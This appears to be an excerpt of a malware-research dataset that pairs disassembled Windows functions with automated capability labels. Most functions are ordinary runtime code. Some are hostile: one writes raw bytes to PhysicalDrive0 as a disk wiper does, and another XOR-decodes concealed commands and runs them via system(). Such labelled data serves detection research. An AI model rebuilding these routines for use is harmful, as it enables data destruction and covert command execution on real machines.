joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400096b0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 8], rcx
push rdi
push r14
push r15
sub rsp, 0x40
mov qword [rax - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rbx, r9
mov r10, r8
mov r14, rdx
mov rsi, rcx
movabs rcx, 0xcbf29ce484222325
xor r9d, r9d
movzx eax, byte [r9 + r8]
xor rcx, rax
movabs rdx, 0x100000001b3
imul rcx, rdx
inc r9
cmp r9, 4
jb 0x1400096ed
mov r8, qword [rsi + 0x30]
and r8, rcx
mov rdi, qword [rsi + 8]
add r8, r8
mov rax, qword [rsi + 0x18]
cmp rdi, qword [rax + r8*8]
je 0x140009785
mov rdi, qword [rax + r8*8 + 8]
mov rdi, qword [rdi]
cmp rdi, qword [rax + r8*8]
je 0x140009785
mov ecx, dword [r10]
mov rdi, qword [rdi + 8]
cmp ecx, dword [rdi + 0x10]
je 0x140009746
cmp rdi, qword [rax + r8*8]
jne 0x140009735
jmp 0x140009785
mov rcx, qword [rbx + 8]
mov rax, qword [rbx]
mov qword [rcx], rax
mov rcx, qword [rbx]
mov rax, qword [rbx + 8]
mov qword [rcx + 8], rax
dec qword [rsi + 0x10]
lea rcx, [rbx + 0x18]
call fcn.140002270
mov edx, 0x38
mov rcx, rbx
call fcn.14000bda8
mov qword [r14], rdi
mov byte [r14 + 8], 0
mov rax, r14
jmp 0x1400098a7
mov qword [rsp + 0x20], rbx
mov rax, qword [rbx]
cmp rdi, rax
je 0x1400097bf
mov rcx, qword [rbx + 8]
mov qword [rcx], rax
mov rcx, qword [rax + 8]
mov qword [rcx], rdi
mov rcx, qword [rdi + 8]
mov qword [rcx], rbx
mov rdx, qword [rdi + 8]
mov rcx, qword [rax + 8]
mov qword [rdi + 8], rcx
mov rcx, qword [rbx + 8]
mov qword [rax + 8], rcx
mov qword [rbx + 8], rdx
mov rdx, qword [rsi + 0x18]
mov rax, qword [rdx + r8*8]
cmp rax, qword [rsi + 8]
jne 0x1400097dc
mov qword [rdx + r8*8], rbx
mov rax, qword [rsi + 0x18]
mov qword [rax + r8*8 + 8], rbx
jmp 0x14000980b
cmp rax, rdi
jne 0x1400097e7
mov qword [rdx + r8*8], rbx
jmp 0x14000980b
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax]
mov qword [rdx + r8*8 + 8], rcx
cmp rcx, rbx
je 0x14000980b
mov rdx, qword [rsi + 0x18]
mov rax, qword [rdx + r8*8 + 8]
mov rcx, qword [rax + 8]
mov qword [rdx + r8*8 + 8], rcx
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x38]
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movss xmm1, dword [0x140010dd4]
test rax, rax
jns 0x14000982c
addss xmm0, xmm1
xorps xmm2, xmm2
cvtsi2ss xmm2, rdx
test rdx, rdx
jns 0x14000983d
addss xmm2, xmm1
divss xmm0, xmm2
comiss xmm0, dword [rsi]
jbe 0x14000989c
cmp rdx, 0x200
jae 0x140009855
shl rdx, 3
jmp 0x140009867
movabs rax, 0xfffffffffffffff
cmp rdx, rax
jae 0x140009867
add rdx, rdx
mov rcx, rsi
call fcn.140005c18
mov rax, qword [rsi + 8]
cmp qword [rax], rax
je 0x14000989c
mov r15, qword [rax + 8]
mov rdi, qword [rsi + 8]
mov rdi, qword [rdi]
lea r8, [rdi + 0x10]
mov r9, rdi
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.1400096b0
cmp rdi, r15
jne 0x14000987c
mov qword [r14], rbx
mov byte [r14 + 8], 1
mov rax, r14
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret
Function at 0x140009950
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, r8
mov r9, rcx
xor ecx, ecx
movabs r8, 0xcbf29ce484222325
mov rsi, rdx
movzx eax, byte [rdi + rcx + 0x10]
movabs rdx, 0x100000001b3
xor r8, rax
inc rcx
imul r8, rdx
cmp rcx, 4
jb 0x140009974
mov rdx, qword [r9 + 0x30]
mov rcx, qword [r9 + 0x18]
and rdx, r8
add rdx, rdx
cmp qword [rcx + rdx*8 + 8], rdi
jne 0x1400099cb
cmp qword [rcx + rdx*8], rdi
jne 0x1400099c0
mov rax, qword [r9 + 8]
mov qword [rcx + rdx*8], rax
mov rcx, qword [r9 + 0x18]
mov rax, qword [r9 + 8]
jmp 0x1400099c4
mov rax, qword [rdi + 8]
mov qword [rcx + rdx*8 + 8], rax
jmp 0x1400099d8
cmp qword [rcx + rdx*8], rdi
jne 0x1400099d8
mov rax, qword [rdi]
mov qword [rcx + rdx*8], rax
mov rax, qword [rdi + 8]
mov rbx, qword [rdi]
mov qword [rax], rbx
mov rcx, qword [rdi]
mov rax, qword [rdi + 8]
mov qword [rcx + 8], rax
lea rcx, [rdi + 0x18]
dec qword [r9 + 0x10]
call fcn.140002270
mov edx, 0x38
mov rcx, rdi
call fcn.14000bda8
mov qword [rsi], rbx
mov rax, rsi
mov rsi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140009e88
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rsi
mov rsi, rdx
mov rdi, rcx
mov rax, qword [0x1400170d0]
lea rcx, [0x1400170d0]
mov rax, qword [rax + 0x18]
call qword [case.0x14000d196.0]
add rax, 0x18
mov qword [rsp + 0x50], rax
mov r8, rdi
lea rdx, str._sDiagnosticsHub.StandardCollector.Proxy.dll
lea rcx, [rsp + 0x50]
call fcn.14000a030
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140009f5f
lea rcx, [rsp + 0x50]
call fcn.140009fac
mov r8, rdi
lea rdx, str._s_amd64DiagnosticsHub.StandardCollector.Proxy.dll
lea rcx, [rsp + 0x50]
call fcn.14000a030
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140009f5f
lea rcx, [rsp + 0x50]
call fcn.140009fac
lea r9, str.Team_ToolsDiagnosticsHubCollector
mov r8, rdi
lea rdx, str._s_s_amd64DiagnosticsHub.StandardCollector.Proxy.dll
lea rcx, [rsp + 0x50]
call fcn.14000a030
mov rbx, qword [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_file_l1_1_0.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140009f5f
mov edi, 0x80070057
jmp 0x140009f72
mov rdx, rsi
mov rcx, rbx
call fcn.140009bb4
mov edi, eax
test eax, eax
js 0x140009f72
xor edi, edi
lea rdx, [rbx - 0x18]
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x140009f93
mov rcx, qword [rdx]
mov r8, qword [rcx]
mov rax, qword [r8 + 8]
call qword [case.0x14000d196.0]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x14000c504
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140017850], eax
call fcn.14000c248
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140017850], 0
jne case.default.0x14000c55a
mov ecx, 1
call fcn.14000c248
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
push rdi
invalid
Function at 0x140001000
Capabilities:
Terminate process

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x78], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x14000104e
mov eax, 1
jmp 0x140001166
lea rdx, str.CreateFileA
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
lea rdx, str.WriteFile
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x50], rax
lea rdx, [0x140002260]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
lea rdx, str.CloseHandle
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x48], 0
je 0x1400010ba
cmp qword [rsp + 0x50], 0
jne 0x1400010cf
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x140001166
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
mov edx, 0x10000000
lea rcx, str..PhysicalDrive0
call qword [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x70]
mov r8d, 0x200
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [rsp + 0x50]
cmp eax, 1
jne 0x14000113f
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140001210
add rsp, 0x88
ret
Function at 0x140001000
Capabilities:
Encode data using xor
Execute command

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
movups xmm0, xmmword [str.QFFY]
xor ecx, ecx
cmp dword [0x140003050], 2
movups xmm1, xmmword [0x140002260]
mov eax, dword [0x1400022b0]
movups xmmword [rbp - 0x29], xmm0
movups xmm0, xmmword [0x140002270]
movups xmmword [rbp - 0x19], xmm1
movups xmm1, xmmword [0x140002280]
mov dword [rbp + 0x37], eax
movzx eax, word [0x1400022b4]
movups xmmword [rbp - 9], xmm0
movups xmm0, xmmword [0x140002290]
movups xmmword [rbp + 7], xmm1
movups xmm1, xmmword [0x1400022a0]
mov word [rbp + 0x3b], ax
movzx eax, byte [0x1400022b6]
movups xmmword [rbp + 0x17], xmm0
movups xmmword [rbp + 0x27], xmm1
mov byte [rbp + 0x3d], al
jl 0x1400011d4
movdqa xmm0, xmmword [str.2222222222222222_t]
lea rdx, [rbp - 0x25]
movdqa xmm5, xmmword [0x1400022d0]
movdqa xmm4, xmmword [0x140002310]
movdqa xmmword [rbp - 0x39], xmm0
mov r8d, dword [rbp - 0x39]
movaps xmmword [rsp + 0xa0], xmm6
movdqa xmm6, xmmword [str.::::]
nop dword [rax]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400022f0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400022f0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x60
jl 0x1400010c0
movaps xmm6, xmmword [rsp + 0xa0]
cmp ecx, 0x67
jge 0x14000120f
movsxd rax, ecx
lea r8, [rbp - 0x29]
add r8, rax
nop
mov eax, 0x8d3dcb09
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
inc ecx
sub al, dl
add al, 0x32
xor byte [r8 - 1], al
cmp ecx, 0x67
jl 0x1400011e0
lea rcx, [rbp - 0x29]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movzx eax, byte [0x1400022c0]
lea rcx, [rbp - 0x39]
movsd xmm0, qword [str.FVGA]
xor al, 0x3a
movsd qword [rbp - 0x39], xmm0
xor byte [rbp - 0x38], 0x33
xor byte [rbp - 0x37], 0x34
xor byte [rbp - 0x36], 0x35
xor byte [rbp - 0x35], 0x36
xor byte [rbp - 0x34], 0x37
xor byte [rbp - 0x33], 0x38
xor byte [rbp - 0x32], 0x39
mov byte [rbp - 0x31], al
mov byte [rbp - 0x39], 0x74
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
add rsp, 0xb0
pop rbp
ret
Function at 0x140005480
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
xor r8, r8
push r8
push rax
pushfq
push r8
push rdx
sub rsp, 0xa8
push r8
push r15
push r14
push r13
push r12
push rbx
push r8
push rsi
push rdi
push rbp
push rax
push rdx
sub rsp, 0x280
movdqa xmmword [rsp + 0x2e0], xmm6
movdqa xmmword [rsp + 0x2f0], xmm7
movdqa xmmword [rsp + 0x300], xmm8
movdqa xmmword [rsp + 0x310], xmm9
movdqa xmmword [rsp + 0x320], xmm10
movdqa xmmword [rsp + 0x330], xmm11
movdqa xmmword [rsp + 0x340], xmm12
movdqa xmmword [rsp + 0x350], xmm13
movdqa xmmword [rsp + 0x360], xmm14
movdqa xmmword [rsp + 0x370], xmm15
mov eax, dword [0x14046dcc8]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x10
add rax, rbx
lea rdx, [rsp + 0x20]
xor r8, r8
mov qword [rdx + 0x10], r8
mov byte [rdx + 0x19], 1
mov dword [rdx + 0x1c], 0xffffffff
mov byte [rdx + 0x18], 2
mov r8, qword [rax + 0x80]
mov qword [rdx], r8
mov qword [rax + 0x80], rdx
lea r8, [rsp + 0x280]
mov qword [rdx + 8], r8
call fcn.14014dc10
int3
push r15
push r14
push r13
push r12
push rbx
push rsi
push rdi
push rbp
sub rsp, 0xd8
movdqa xmmword [rsp + 0x20], xmm6
movdqa xmmword [rsp + 0x30], xmm7
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm9
movdqa xmmword [rsp + 0x60], xmm10
movdqa xmmword [rsp + 0x70], xmm11
movdqa xmmword [rsp + 0x80], xmm12
movdqa xmmword [rsp + 0x90], xmm13
movdqa xmmword [rsp + 0xa0], xmm14
movdqa xmmword [rsp + 0xb0], xmm15
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x130], r8
mov qword [rsp + 0x138], r9
mov eax, dword [0x14046dcc8]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x10
add rax, rbx
mov qword [rsp + 0xc0], rax
cmp rcx, qword [rax + 0x88]
sete byte [rsp + 0xd0]
lock and dword [rax + 0x38], 0xffffffef
mov rax, qword [r8 + 0x18]
mov rbx, qword [rax]
mov rax, qword [r8 + 0x20]
mov rbp, qword [rax]
mov rax, qword [r8 + 0x28]
mov rsi, qword [rax]
mov rax, qword [r8 + 0x30]
mov rdi, qword [rax]
mov rax, qword [r8 + 0x58]
mov r12, qword [rax]
mov rax, qword [r8 + 0x60]
mov r13, qword [rax]
mov rax, qword [r8 + 0x68]
mov r14, qword [rax]
mov rax, qword [r8 + 0x70]
mov r15, qword [rax]
movdqa xmm6, xmmword [r8 + 0x90]
movdqa xmm7, xmmword [r8 + 0xa0]
movdqa xmm8, xmmword [r8 + 0xb0]
movdqa xmm9, xmmword [r8 + 0xc0]
movdqa xmm10, xmmword [r8 + 0xd0]
movdqa xmm11, xmmword [r8 + 0xe0]
movdqa xmm12, xmmword [r8 + 0xf0]
movdqa xmm13, xmmword [r8 + 0x100]
movdqa xmm14, xmmword [r8 + 0x110]
movdqa xmm15, xmmword [r8 + 0x120]
mov rcx, qword [r8 + 0x78]
mov rdx, qword [rsp + 0x120]
call qword [rsp + 0x128]
mov r8, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rdx + 0x70]
cmp rcx, 0
je 0x140005610
mov r9, qword [rdx + 0x68]
mov qword [r9], rcx
mov qword [rdx + 0x68], 0
mov qword [rdx + 0x70], 0
mov rcx, qword [rsp + 0x138]
mov r8, qword [r8 + 0x78]
xor r9d, r9d
mov rcx, qword [rcx]
cmp rcx, r9
je 0x14000562c
cmp rcx, r8
jl 0x14000561f
mov qword [rdx + 0x80], rcx
test dword [0x140466e78], 1
je 0x14000565b
cmp byte [rsp + 0xd0], 0
je 0x14000565b
mov rcx, 0x43
mov rdx, rax
mov rsp, r8
jmp 0x140005180
mov rsp, r8
jmp rax
Function at 0x140011180
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
sub rsp, 0x28
movzx eax, byte [0x140467cb0]
test al, al
jne 0x140011331
lea rcx, [0x140467cb8]
call fcn.1400100f0
movzx eax, byte [0x140467cb0]
test al, al
je 0x1400111bb
lea rcx, [0x140467cb8]
call fcn.140010110
add rsp, 0x28
ret
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x40], rbp
call sub.KERNEL32.dll_QueryPerformanceFrequency
test eax, eax
je 0x140011319
mov rbp, qword [rsp + 0x30]
cmp rbp, 0x64
jl 0x140011319
mov qword [rsp + 0x38], rbx
lea rcx, [rsp + 0x30]
movabs rax, 0xa3d70a3d70a3d70b
mov qword [rsp + 0x48], rsi
imul rbp
mov qword [rsp + 0x20], rdi
xor edi, edi
lea rbx, [rdx + rbp]
sar rbx, 6
mov rax, rbx
shr rax, 0x3f
add rbx, rax
call sub.KERNEL32.dll_QueryPerformanceCounter
mov rsi, qword [rsp + 0x30]
mov eax, 0x3e8
pause
sub rax, 1
jne 0x140011225
lea rcx, [rsp + 0x30]
add edi, 0x3e8
call sub.KERNEL32.dll_QueryPerformanceCounter
mov rax, qword [rsp + 0x30]
sub rax, rsi
cmp rax, rbx
jl 0x140011220
movsd xmm3, qword [0x1403bc588]
xorps xmm1, xmm1
xorps xmm0, xmm0
xorps xmm2, xmm2
cvtsi2sd xmm0, rbp
mov ecx, 1
cvtsi2sd xmm2, rax
mov eax, edi
cvtsi2sd xmm1, rax
mulsd xmm2, qword [0x1403bc5a0]
mulsd xmm1, xmm0
movsd xmm0, qword [0x1403bc590]
divsd xmm2, xmm1
movsd xmm1, qword [0x1403bc598]
maxsd xmm3, xmm2
divsd xmm0, xmm3
addsd xmm0, qword [0x1403bc580]
cvttsd2si edx, xmm0
cmp edx, ecx
cmovl edx, ecx
mov dword [0x14045bf50], edx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mulsd xmm0, xmm3
divsd xmm1, xmm0
addsd xmm1, qword [0x1403bc580]
cvttsd2si eax, xmm1
movd xmm1, edx
cmp eax, ecx
cvtdq2ps xmm1, xmm1
cmovl eax, ecx
mov dword [0x14045bf54], eax
mov byte [0x140467cb0], cl
mov rcx, qword [0x140467130]
mov rax, qword [rcx]
call qword [rax + 0x180]
lea rcx, [0x140467cb8]
call fcn.140010110
mov rdi, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x38]
mov rbp, qword [rsp + 0x40]
add rsp, 0x28
ret
lea rcx, [0x140467cb8]
mov byte [0x140467cb0], 1
call fcn.140010110
mov rbp, qword [rsp + 0x40]
add rsp, 0x28
ret
Function at 0x140014a70
Capabilities:
Get memory capacity

Disassembly:
mov qword [rsp + 8], rbx
push rsi
push rdi
push r14
sub rsp, 0xc0
mov rax, qword [0x14045ca00]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rsi, r9
mov rdi, r8
mov r14, rdx
mov rbx, rcx
test rcx, rcx
je 0x140014b5f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, 0x48
lea rdx, [rsp + 0x60]
mov rcx, rax
call sub.KERNEL32.dll_K32GetProcessMemoryInfo
test eax, eax
je 0x140014b5f
mov rdx, qword [rsp + 0x70]
test r14, r14
je 0x140014b3a
xorps xmm0, xmm0
test rdx, rdx
js 0x140014ae1
cvtsi2ss xmm0, rdx
jmp 0x140014af9
mov rax, rdx
mov rcx, rdx
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
cvtps2pd xmm1, xmm0
xorps xmm0, xmm0
mulsd xmm1, qword [0x1403bc758]
test rbx, rbx
js 0x140014b13
cvtsi2ss xmm0, rbx
jmp 0x140014b2b
mov rax, rbx
mov rcx, rbx
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
cvtps2pd xmm0, xmm0
divsd xmm1, xmm0
cvttsd2si rax, xmm1
mov dword [r14], eax
xor eax, eax
test rdi, rdi
je 0x140014b51
cmp rdx, rbx
jbe 0x140014b4b
mov qword [rdi], rax
jmp 0x140014b51
sub rbx, rdx
mov qword [rdi], rbx
test rsi, rsi
je 0x140014c28
jmp 0x140014c25
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x28]
jae 0x140014c02
test r14, r14
je 0x140014bf1
mov rcx, rdx
xorps xmm0, xmm0
sub rcx, qword [rsp + 0x50]
js 0x140014b9b
cvtsi2ss xmm0, rcx
jmp 0x140014bb0
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
cvtps2pd xmm1, xmm0
xorps xmm0, xmm0
mulsd xmm1, qword [0x1403bc758]
test rdx, rdx
js 0x140014bca
cvtsi2ss xmm0, rdx
jmp 0x140014be2
mov rax, rdx
mov rcx, rdx
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
cvtps2pd xmm0, xmm0
divsd xmm1, xmm0
cvttsd2si rax, xmm1
mov dword [r14], eax
test rdi, rdi
je 0x140014bf9
mov qword [rdi], rdx
test rsi, rsi
je 0x140014c28
xor eax, eax
jmp 0x140014c25
test r14, r14
je 0x140014c0e
mov eax, dword [rsp + 0x24]
mov dword [r14], eax
test rdi, rdi
je 0x140014c1b
mov rax, qword [rsp + 0x30]
mov qword [rdi], rax
test rsi, rsi
je 0x140014c28
mov rax, qword [rsp + 0x40]
mov qword [rsi], rax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14006abd0
mov rbx, qword [rsp + 0xe0]
add rsp, 0xc0
pop r14
pop rdi
pop rsi
ret
Function at 0x140087190
Capabilities:
Enumerate process modules

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0xc0]
xor eax, eax
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], rax
mov qword [rbp + 0x10], rcx
mov rdi, rdx
mov ebx, r8d
mov rsi, r9
xor edx, edx
mov dword [rbp - 0x40], edx
lea rdx, [rbp - 0x40]
cmp dword [rcx], ecx
call fcn.140155a30
mov rcx, qword [rbp + 0x10]
mov r14, qword [rcx + 8]
test rdi, rdi
jne 0x1400871e4
xor r15d, r15d
jmp 0x1400871e8
lea r15, [rdi + 0x10]
mov qword [rbp - 0x48], r15
mov qword [rbp - 0x50], rsi
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov edi, dword [rbp + 0x30]
mov dword [rsp + 0x20], edi
mov rcx, r14
mov qword [rbp - 0x5c], rcx
mov rdx, r15
mov qword [rbp - 0x64], rdx
mov r8d, ebx
mov dword [rbp - 0x54], r8d
mov r9, rsi
mov qword [rbp - 0x6c], r9
lea rcx, [rbp - 0x98]
call fcn.140005980
mov rcx, qword [rbp - 0x5c]
mov rdx, qword [rbp - 0x64]
mov r8d, dword [rbp - 0x54]
mov r9, qword [rbp - 0x6c]
call sub.KERNEL32.dll_K32EnumProcessModulesEx
mov esi, eax
lea rcx, [rbp - 0x98]
call fcn.1400059d0
call sub.KERNEL32.dll_GetLastError
mov edi, eax
xor ecx, ecx
mov qword [rbp - 0x50], rcx
xor ecx, ecx
mov qword [rbp - 0x48], rcx
test esi, esi
setne sil
movzx esi, sil
cmp byte [rbp - 0x40], 0
je 0x140087277
mov rcx, qword [rbp + 0x10]
xor edx, edx
call fcn.140155ac0
call fcn.1400037af
mov dword [rax + 8], edi
movzx eax, sil
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1400879f0
Capabilities:
Create process on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0xd8
lea rbp, [rsp + 0x110]
xorps xmm4, xmm4
movaps xmmword [rbp - 0x70], xmm4
movaps xmmword [rbp - 0x60], xmm4
movaps xmmword [rbp - 0x50], xmm4
xor eax, eax
mov qword [rbp - 0x40], rax
mov rsi, rdx
mov r14, qword [rbp + 0x48]
mov rdi, qword [rbp + 0x50]
mov rbx, qword [rbp + 0x58]
cmp byte [rbp + 0x30], 0
jne 0x140087a3a
xor r15d, r15d
jmp 0x140087a40
mov r15d, 1
test rcx, rcx
je 0x140087a4b
add rcx, 0xc
jmp 0x140087a4d
xor ecx, ecx
mov qword [rbp - 0x40], rcx
mov r12, rcx
mov qword [rbp - 0x48], r8
mov r13, r8
mov qword [rbp - 0x58], r9
mov rax, r9
mov qword [rbp - 0x50], rax
test r14, r14
je 0x140087a71
add r14, 0xc
jmp 0x140087a74
xor r14d, r14d
mov qword [rbp - 0x60], r14
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x70], rbx
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov dword [rsp + 0x20], r15d
mov r15d, dword [rbp + 0x38]
mov dword [rsp + 0x28], r15d
mov r15, qword [rbp + 0x40]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
mov rcx, r12
mov qword [rbp - 0x78], rcx
mov rdx, rsi
mov qword [rbp - 0x80], rdx
mov r8, r13
mov qword [rbp - 0x88], r8
mov r9, qword [rbp - 0x50]
mov qword [rbp - 0x90], r9
lea rcx, [rbp - 0xb8]
call fcn.140005980
mov rcx, qword [rbp - 0x78]
mov rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x88]
mov r9, qword [rbp - 0x90]
call sub.KERNEL32.dll_CreateProcessW
mov esi, eax
lea rcx, [rbp - 0xb8]
call fcn.1400059d0
call sub.KERNEL32.dll_GetLastError
mov edi, eax
xor eax, eax
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x40], rax
test esi, esi
setne sil
movzx esi, sil
call fcn.1400037af
mov dword [rax + 8], edi
movzx eax, sil
add rsp, 0xd8
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret

Function at 0x140087b50
Capabilities:
Terminate process

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0xa0]
mov qword [rbp + 0x10], rcx
mov esi, edx
xor edx, edx
mov dword [rbp - 0x40], edx
